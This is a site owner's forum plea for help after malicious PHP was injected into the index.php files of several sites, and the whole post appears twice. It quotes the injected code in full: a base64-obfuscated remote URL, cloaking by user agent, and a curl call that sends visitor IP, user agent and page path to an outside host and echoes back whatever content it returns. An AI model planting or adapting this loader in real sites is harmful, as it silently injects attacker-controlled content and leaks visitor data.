Is this a virus? hack or what?
I've several websites in two hosting company, one is namecheap.<br>
yesterday suddenly got 10 mails with subject of virus infection from server's antivirus.
All sites' index.php files were infected, it added the following codes at the beginning of files:

        <?php
    if (!isset($sRetry))
    {
    global $sRetry;
    $sRetry = 1;
        // This code use for global bot statistic
        $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
        $stCurlHandle = NULL;
        $stCurlLink = "";
        if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
        {
            if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
            $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
                $stCurlHandle = curl_init( $stCurlLink ); 
        }
        } 
    if ( $stCurlHandle !== NULL )
    {
        curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
        $sResult = @curl_exec($stCurlHandle); 
        if ($sResult[0]=="O") 
         {$sResult[0]=" ";
          echo $sResult; // Statistic code end
          }
        curl_close($stCurlHandle); 
    }
    }
    ?>
Manually removed these and sites seem to work ok.<br>
If you have an updated AVG antivirus please take a look at one of my websites:<br>
http://www.play-angry-birds-games.com<br>
as soon as you get there AVG will warn you.<br>
I disabled link checking of AVG and tried to browse robots.txt (one of the suspicious links as AVG reported). there were javascript code lines added to the bottom of file. <br>Unfortunately i didn't save it. <br>
but after that scanned my system using AVG and CCleaner, they've found malicious files, cleaned and rebooted system - now i see no strange thing in my robots.txt! gone by itself !?, but again, AVG blocks the website because of virus.<br>
http://sitecheck.sucuri.net/scanner doesn't find any virus in it:<br>

    web site: 	play-angry-birds-games.com
    status: 	Verified Clean
    web trust:  	Not Blacklisted
googling this, didn't give much useful results.<br>
I'm really wondering, what the hell is happening on my sites, i've strong passwords, no one has them. hosting says your accounts have been compromised but i can't believe it.<br>
Thanks in advanced for your help

Is this a virus? hack or what?
===

I've several websites in two hosting company, one is namecheap.<br>
yesterday suddenly got 10 mails with subject of virus infection from server's antivirus.
All sites' index.php files were infected, it added the following codes at the beginning of files:

        <?php
    if (!isset($sRetry))
    {
    global $sRetry;
    $sRetry = 1;
        // This code use for global bot statistic
        $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
        $stCurlHandle = NULL;
        $stCurlLink = "";
        if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
        {
            if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
            $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
                $stCurlHandle = curl_init( $stCurlLink ); 
        }
        } 
    if ( $stCurlHandle !== NULL )
    {
        curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
        $sResult = @curl_exec($stCurlHandle); 
        if ($sResult[0]=="O") 
         {$sResult[0]=" ";
          echo $sResult; // Statistic code end
          }
        curl_close($stCurlHandle); 
    }
    }
    ?>
Manually removed these and sites seem to work ok.<br>
If you have an updated AVG antivirus please take a look at one of my websites:<br>
http://www.play-angry-birds-games.com<br>
as soon as you get there AVG will warn you.<br>
I disabled link checking of AVG and tried to browse robots.txt (one of the suspicious links as AVG reported). there were javascript code lines added to the bottom of file. <br>Unfortunately i didn't save it. <br>
but after that scanned my system using AVG and CCleaner, they've found malicious files, cleaned and rebooted system - now i see no strange thing in my robots.txt! gone by itself !?, but again, AVG blocks the website because of virus.<br>
http://sitecheck.sucuri.net/scanner doesn't find any virus in it:<br>

    web site: 	play-angry-birds-games.com
    status: 	Verified Clean
    web trust:  	Not Blacklisted
googling this, didn't give much useful results.<br>
I'm really wondering, what the hell is happening on my sites, i've strong passwords, no one has them. hosting says your accounts have been compromised but i can't believe it.<br>
Thanks in advanced for your help
